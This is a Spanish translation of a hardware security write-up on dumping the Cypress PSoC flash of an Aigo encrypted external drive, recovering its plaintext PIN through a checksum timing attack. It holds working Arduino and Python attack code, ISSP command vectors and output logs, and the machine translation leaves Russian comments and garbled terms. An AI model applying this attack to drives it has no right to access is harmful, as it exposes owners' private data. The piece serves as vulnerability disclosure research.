Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC

Esta es la segunda y última parte del artículo sobre cómo hackear unidades externas de autocifrado. Permítanme recordarles que un colega me trajo recientemente un disco duro Patriot (Aigo) SK8671 y decidí revertirlo y ahora les comparto lo que resultó. Antes de seguir leyendo, asegúrese de leer primera parte artículos

4. Comenzamos a realizar un volcado de la unidad flash interna del PSoC.
5. Protocolo ISSP
– 5.1. ¿Qué es ISSP?
– 5.2. Vectores desmitificantes
– 5.3. Comunicación con PSoC
– 5.4. Identificación de registros en chip.
– 5.5. bits de seguridad
6. Primer ataque (fallido): ROMX
7. Segundo ataque: seguimiento de arranque en frío
– 7.1. Implementación
– 7.2. leyendo el resultado
– 7.3. Reconstrucción binaria flash
– 7.4. Encontrar la dirección de almacenamiento del código PIN
– 7.5. Tomando un volcado del bloque No. 126
– 7.6. recuperación del código PIN
8. ¿Qué sigue?
9. Заключение

Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC


4. Comenzamos a realizar un volcado de la unidad flash interna del PSoC.

Entonces, todo indica (como establecimos en [la primera parte]()) que el código PIN está almacenado en las profundidades del flash del PSoC. Por lo tanto, necesitamos leer estas profundidades de destello. Frente de trabajo necesario:

  • tomar el control de la “comunicación” con el microcontrolador;
  • encontrar una manera de comprobar si esta “comunicación” está protegida contra lectura desde el exterior;
  • encuentre una manera de eludir la protección.

Hay dos lugares donde tiene sentido buscar un código PIN válido:

  • memoria flash interna;
  • SRAM, donde se puede almacenar el código pin para compararlo con el código pin introducido por el usuario.

De cara al futuro, señalaré que aun así logré volcar la unidad flash interna del PSoC (evitando su sistema de seguridad mediante un ataque de hardware llamado "rastreo de arranque en frío") después de revertir las capacidades no documentadas del protocolo ISSP. Esto me permitió volcar directamente el código PIN real.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Código final del programa:

5. Protocolo ISSP

5.1. ¿Qué es ISSP?

"Comunicación" con un microcontrolador puede significar diferentes cosas: desde "proveedor a proveedor" hasta interacción mediante un protocolo en serie (por ejemplo, ICSP para PIC de Microchip).

Cypress tiene su propio protocolo propietario para esto, llamado ISSP (protocolo de programación en serie en el sistema), que se describe parcialmente en especificación técnica. Patente US7185162 También da algo de información. También existe un equivalente de OpenSource llamado HSSP (lo usaremos un poco más adelante). ISSP funciona de la siguiente manera:

  • reinicie el PSoC;
  • envíe el número mágico al pin de datos en serie de este PSoC; para ingresar al modo de programación externa;
  • enviar comandos, que son largas cadenas de bits llamadas "vectores".

La documentación del ISSP define estos vectores sólo para un pequeño puñado de comandos:

  • Inicializar-1
  • Inicializar-2
  • Inicializar-3 (opciones de 3V y 5V)
  • CONFIGURACIÓN DE ID
  • LEER-ID-PALABRA
  • SET-BLOQUE-NUM: 10011111010dddddddd111, donde dddddddd=bloque #
  • BORRADO MASIVO
  • BLOQUE DE PROGRAMA
  • VERIFICAR-CONFIGURACIÓN
  • BYTE DE LECTURA: 10110aaaaaaZDDDDDDDDZ1, donde DDDDDDDD = salida de datos, aaaaaa = dirección (6 bits)
  • ESCRITURA-BYTE: 10010aaaaaaddddddd111, donde dddddddd = datos en, aaaaaa = dirección (6 bits)
  • SEGURO
  • CONFIGURACIÓN DE SUMA DE VERIFICACIÓN
  • READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, donde DDDDDDDDDDDDDDDD = salida de datos: suma de verificación del dispositivo
  • BORRAR BLOQUE

Por ejemplo, el vector para Inicializar-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Todos los vectores tienen la misma longitud: 22 bits. La documentación HSSP tiene información adicional sobre ISSP: "Un vector ISSP no es más que una secuencia de bits que representa un conjunto de instrucciones".

5.2. Vectores desmitificantes

Averigüemos qué está pasando aquí. Inicialmente, supuse que estos mismos vectores eran versiones sin formato de instrucciones M8C, pero después de verificar esta hipótesis, descubrí que los códigos de operación de las operaciones no coincidían.

Luego busqué en Google el vector de arriba y encontré aqui esta un estudio donde el autor, aunque no entra en detalles, da algunos consejos útiles: “Cada instrucción comienza con tres bits que corresponden a uno de los cuatro mnemónicos (leer de la RAM, escribir en la RAM, leer el registro, escribir el registro). Luego hay 8 bits de dirección, seguidos de 8 bits de datos (lectura o escritura) y finalmente tres bits de parada”.

Luego pude obtener información muy útil de la sección ROM de supervisión (SROM). Manual técnico. SROM es una ROM codificada en el PSoC que proporciona funciones de utilidad (de manera similar a Syscall) para el código de programa que se ejecuta en el espacio del usuario:

  • 00h: SWBootReset
  • 01h: LeerBloque
  • 02h: Bloque de escritura
  • 03h: BorrarBloque
  • 06h: Lectura de mesa
  • 07h: Suma de verificación
  • 08h: Calibrar0
  • 09h: Calibrar1

Al comparar los nombres de los vectores con las funciones SROM, podemos asignar las diversas operaciones admitidas por este protocolo a los parámetros SROM esperados. Gracias a esto podemos decodificar los tres primeros bits de los vectores ISSP:

  • 100 => “rey”
  • 101 => “rdmem”
  • 110 => “error”
  • 111 => “regreg”

Sin embargo, sólo se puede obtener una comprensión completa de los procesos en el chip mediante la comunicación directa con el PSoC.

5.3. Comunicación con PSoC

Dado que Dirk Petrautsky ya portado Código HSSP de Cypress en Arduino, utilicé Arduino Uno para conectarlo al conector ISSP de la placa del teclado.

Tenga en cuenta que en el curso de mi investigación, cambié bastante el código de Dirk. Puedes encontrar mi modificación en GitHub: aquí y el script Python correspondiente para comunicarse con Arduino, en mi repositorio herramientas_cypress_psoc.

Entonces, usando Arduino, primero usé solo los vectores "oficiales" para la "comunicación". Intenté leer la ROM interna usando el comando VERIFY. Como era de esperar, no pude hacer esto. Probablemente debido al hecho de que los bits de protección de lectura están activados dentro de la unidad flash.

Luego creé algunos de mis propios vectores simples para escribir y leer memorias/registros. Tenga en cuenta que podemos leer la SROM completa incluso aunque la unidad flash esté protegida.

5.4. Identificación de registros en chip.

Después de observar los vectores "desmontados", descubrí que el dispositivo utiliza registros no documentados (0xF8-0xFA) para especificar códigos de operación M8C, que se ejecutan directamente, sin pasar por la protección. Esto me permitió ejecutar varios códigos de operación como "ADD", "MOV A, X", "PUSH" o "JMP". Gracias a ellos (al observar los efectos secundarios que tienen en los registros) pude determinar cuáles de los registros indocumentados eran en realidad registros regulares (A, X, SP y PC).

Como resultado, el código "desensamblado" generado por la herramienta HSSP_disas.rb se ve así (agregué comentarios para mayor claridad):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. bits de seguridad

En esta etapa ya puedo comunicarme con el PSoC, pero todavía no tengo información confiable sobre los bits de seguridad de la unidad flash. Me sorprendió mucho el hecho de que Cypress no proporciona al usuario del dispositivo ningún medio para comprobar si la protección está activada. Profundicé en Google para finalmente comprender que el código HSSP proporcionado por Cypress se actualizó después de que Dirk publicara su modificación. ¡Y entonces! Ha aparecido este nuevo vector:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Usando este vector (ver read_security_data en psoc.py), obtenemos todos los bits de seguridad en SRAM en 0x80, donde hay dos bits por bloque protegido.

El resultado es deprimente: todo está protegido en el modo “desactivar lectura y escritura externa”. Por tanto, no sólo no podemos leer nada de un pendrive, sino que tampoco podemos escribir nada (por ejemplo, para instalar allí un dumper de ROM). Y la única forma de desactivar la protección es borrar completamente todo el chip. 🙁

6. Primer ataque (fallido): ROMX

Sin embargo, podemos probar el siguiente truco: dado que tenemos la capacidad de ejecutar códigos de operación arbitrarios, ¿por qué no ejecutar ROMX, que se utiliza para leer memoria flash? Este enfoque tiene buenas posibilidades de éxito. Porque la función ReadBlock que lee datos de la SROM (que utilizan los vectores) verifica si se llama desde el ISSP. Sin embargo, es posible que el código de operación ROMX no tenga dicha verificación. Así que aquí está el código Python (después de agregar algunas clases auxiliares al código Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Lamentablemente este código no funciona. 🙁 ¡O más bien funciona, pero en la salida obtenemos nuestros propios códigos de operación (0x28 0x30 0x40)! No creo que la funcionalidad correspondiente del dispositivo sea un elemento de protección contra lectura. Esto se parece más a un truco de ingeniería: al ejecutar códigos de operación externos, el bus ROM se redirige a un búfer temporal.

7. Segundo ataque: seguimiento de arranque en frío

Como el truco ROMX no funcionó, comencé a pensar en otra variación de este truco, descrita en la publicación. "Arrojando demasiada luz sobre la protección del firmware de un microcontrolador".

7.1. Implementación

La documentación del ISSP proporciona el siguiente vector para CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Básicamente, esto llama a la función SROM 0x07, como se presenta en la documentación (las cursivas son mías):

Esta función verifica la suma de verificación. Calcula una suma de verificación de 16 bits del número de bloques especificados por el usuario en un banco flash, comenzando desde cero. El parámetro BLOCKID se usa para pasar la cantidad de bloques que se usarán al calcular la suma de verificación. Un valor de "1" sólo calculará la suma de comprobación para el bloque cero; mientras "0" hará que se calcule la suma de comprobación total de los 256 bloques del banco flash. La suma de comprobación de 16 bits se devuelve mediante KEY1 y KEY2. El parámetro KEY1 almacena los 8 bits de orden inferior de la suma de comprobación y el parámetro KEY2 almacena los 8 bits de orden superior. Para dispositivos con varios bancos de flash, la función de suma de comprobación se llama para cada uno por separado. El número de banco con el que funcionará lo establece el registro FLS_PR1 (configurando el bit correspondiente al banco flash de destino).

Tenga en cuenta que se trata de una suma de comprobación sencilla: los bytes simplemente se añaden uno tras otro; sin peculiaridades sofisticadas de CRC. Además, sabiendo que el núcleo M8C tiene un conjunto de registros muy pequeño, supuse que al calcular la suma de verificación, los valores intermedios se registrarán en las mismas variables que finalmente irán a la salida: KEY1 (0xF8) / KEY2 ( 0xF9).

Entonces, en teoría, mi ataque se ve así:

  1. Nos conectamos vía ISSP.
  2. Comenzamos el cálculo de la suma de verificación utilizando el vector CHECKSUM-SETUP.
  3. Reiniciamos el procesador después de un tiempo específico T.
  4. Leemos la RAM para obtener la suma de comprobación actual C.
  5. Repita los pasos 3 y 4, aumentando T un poco cada vez.
  6. Recuperamos datos de una unidad flash restando la suma de comprobación C anterior de la actual.

Sin embargo, hay un problema: el vector Initialize-1 que debemos enviar después del reinicio sobrescribe KEY1 y KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Este código sobrescribe nuestra preciosa suma de verificación llamando a Calibrate1 (función SROM 9)... ¿Quizás podamos simplemente enviar el número mágico (desde el principio del código anterior) para ingresar al modo de programación y luego leer la SRAM? ¡Y sí, funciona! El código Arduino que implementa este ataque es bastante sencillo:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Lea checkum_delay.
  2. Ejecute el cálculo de la suma de comprobación (send_checksum_v).
  3. Espere un período de tiempo específico; teniendo en cuenta los siguientes inconvenientes:
    • Perdí mucho tiempo hasta que descubrí lo que resulta. retrasoMicrosegundos funciona correctamente sólo con retrasos que no superan los 16383 μs;
    • y luego volví a matar la misma cantidad de tiempo hasta que descubrí que delayMicrosegundos, si se le pasa 0 como entrada, ¡funciona de manera completamente incorrecta!
  4. Reiniciamos el PSoC en modo programación (solo enviamos el número mágico, sin enviar vectores de inicialización).

Código final en Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

En pocas palabras, lo que hace este código:

  1. Reinicia el PSoC (y le envía un número mágico).
  2. Envía vectores de inicialización completos.
  3. Llama a la función Arduino Cmnd_STK_START_CSUM (0x85), donde el retraso en microsegundos se pasa como parámetro.
  4. Lee la suma de comprobación (0xF8 y 0xF9) y el registro no documentado 0xF1.

Este código se ejecuta 10 veces en 1 microsegundo. 0xF1 se incluye aquí porque fue el único registro que cambió al calcular la suma de verificación. Quizás sea algún tipo de variable temporal utilizada por la unidad lógica aritmética. Tenga en cuenta el feo truco que utilizo para restablecer el Arduino usando picocom cuando el Arduino deja de mostrar signos de vida (no tengo idea de por qué).

7.2. leyendo el resultado

El resultado del script de Python se ve así (simplificado para facilitar la lectura):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Dicho esto, tenemos un problema: dado que estamos operando con una suma de verificación real, un byte nulo no cambia el valor leído. Sin embargo, dado que todo el procedimiento de cálculo (8192 bytes) tarda 0,1478 segundos (con ligeras variaciones cada vez que se ejecuta), lo que equivale aproximadamente a 18,04 μs por byte, podemos utilizar este tiempo para comprobar el valor de la suma de comprobación en los momentos adecuados. En las primeras ejecuciones, todo se lee con bastante facilidad, ya que la duración del procedimiento de cálculo es siempre casi la misma. Sin embargo, el final de este volcado es menos preciso porque las "desviaciones menores de tiempo" en cada ejecución se suman y se vuelven significativas:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Son 10 volcados por cada microsegundo de retraso. El tiempo total de funcionamiento para volcar los 8192 bytes de una unidad flash es de aproximadamente 48 horas.

7.3. Reconstrucción binaria flash

Todavía no he terminado de escribir el código que reconstruirá completamente el código del programa de la unidad flash, teniendo en cuenta todas las desviaciones temporales. Sin embargo, ya restauré el comienzo de este código. Para asegurarme de haberlo hecho correctamente, lo desarmé usando m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

¡Parece bastante plausible!

7.4. Encontrar la dirección de almacenamiento del código PIN

Ahora que podemos leer la suma de comprobación en los momentos que necesitamos, podemos comprobar fácilmente cómo y dónde cambia cuando:

  • ingrese el código PIN incorrecto;
  • cambiar el código PIN.

Primero, para encontrar la dirección de almacenamiento aproximada, realicé un volcado de suma de verificación en incrementos de 10 ms después de reiniciar. Luego ingresé el PIN incorrecto e hice lo mismo.

El resultado no fue muy agradable, ya que hubo muchos cambios. Pero al final pude determinar que la suma de comprobación cambió entre 120000 µs y 140000 µs de retraso. Pero el "código PIN" que mostré allí era completamente incorrecto, debido a un artefacto del procedimiento delayMicrosegundos, que hace cosas extrañas cuando se le pasa 0.

Luego, después de pasar casi 3 horas, recordé que la llamada al sistema SROM CheckSum recibe un argumento como entrada que especifica el número de bloques para la suma de verificación. Eso. podemos localizar fácilmente la dirección de almacenamiento del código PIN y el contador de “intentos incorrectos”, con una precisión de hasta un bloque de 64 bytes.

Mis ejecuciones iniciales produjeron el siguiente resultado:

Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC

Luego cambié el código PIN de "123456" a "1234567" y obtuve:

Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC

Así, el código PIN y el contador de intentos incorrectos parecen estar almacenados en el bloque nº 126.

7.5. Tomando un volcado del bloque No. 126

El bloque #126 debería estar ubicado alrededor de 125x64x18 = 144000μs, desde el inicio del cálculo de la suma de verificación, en mi volcado completo, y parece bastante plausible. Luego, después de filtrar manualmente numerosos volcados no válidos (debido a la acumulación de "desviaciones menores de tiempo"), terminé obteniendo estos bytes (con una latencia de 145527 μs):

Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC

¡Es bastante obvio que el código PIN se almacena sin cifrar! Estos valores, por supuesto, no están escritos en códigos ASCII, pero resulta que reflejan las lecturas tomadas del teclado capacitivo.

Finalmente, realicé algunas pruebas más para encontrar dónde estaba almacenado el contador de intentos fallidos. Aquí está el resultado:

Revertir y piratear la unidad de disco duro externa con autocifrado Aigo. Parte 2: Realizar un volcado de Cypress PSoC

0xFF: significa "15 intentos" y disminuye con cada intento fallido.

7.6. recuperación del código PIN

Aquí está mi feo código que reúne lo anterior:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Aquí está el resultado de su ejecución:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

¡Hurra! ¡Obras!

Tenga en cuenta que los valores de latencia que utilicé probablemente sean relevantes para un PSoC específico: el que utilicé.

8. ¿Qué sigue?

Entonces, resumamos del lado del PSoC, en el contexto de nuestra campaña Aigo:

  • podemos leer SRAM incluso si está protegida contra lectura;
  • Podemos evitar la protección anti-swipe usando un ataque de rastreo de arranque en frío y leyendo directamente el código PIN.

Sin embargo, nuestro ataque tiene algunas fallas debido a problemas de sincronización. Podría mejorarse de la siguiente manera:

  • escribir una utilidad para decodificar correctamente los datos de salida que se obtienen como resultado de un ataque de "rastreo de arranque en frío";
  • use un dispositivo FPGA para crear retrasos de tiempo más precisos (o use temporizadores de hardware Arduino);
  • Pruebe otro ataque: ingrese un código PIN deliberadamente incorrecto, reinicie y descargue la RAM, con la esperanza de que el código PIN correcto se guarde en la RAM para compararlo. Sin embargo, esto no es tan fácil de hacer en Arduino, ya que el nivel de señal de Arduino es de 5 voltios, mientras que la placa que estamos examinando funciona con señales de 3,3 voltios.

Una cosa interesante que se podría intentar es jugar con el nivel de voltaje para evitar la protección de lectura. Si este enfoque funcionara, podríamos obtener datos absolutamente precisos de la unidad flash, en lugar de depender de la lectura de una suma de verificación con retrasos imprecisos en el tiempo.

Dado que la SROM probablemente lee los bits de protección a través de la llamada al sistema ReadBlock, podríamos hacer lo mismo que descrito en el blog de Dmitry Nedospasov: una reimplementación del ataque de Chris Gerlinski, anunciado en la conferencia "REcon Bruselas 2017".

Otra cosa divertida que se podría hacer es quitar la carcasa del chip: realizar un volcado de SRAM, identificar vulnerabilidades y llamadas al sistema no documentadas.

9. Заключение

Por lo tanto, la protección de esta unidad deja mucho que desear, porque utiliza un microcontrolador normal (no "reforzado") para almacenar el código PIN... Además, no he mirado (todavía) cómo van las cosas con los datos. cifrado en este dispositivo!

¿Qué me puedes recomendar a Aigo? Después de analizar un par de modelos de discos duros cifrados, en 2015 realicé presentación en SyScan, en el que examinó los problemas de seguridad de varias unidades de disco duro externas e hizo recomendaciones sobre lo que se podría mejorar en ellas. 🙂

Pasé dos fines de semana y varias noches haciendo esta investigación. En total unas 40 horas. Contando desde el principio (cuando abrí el disco) hasta el final (volcado del código PIN). Las mismas 40 horas incluyen el tiempo que dediqué a escribir este artículo. Fue un viaje muy emocionante.

Fuente: habr.com

Añadir un comentario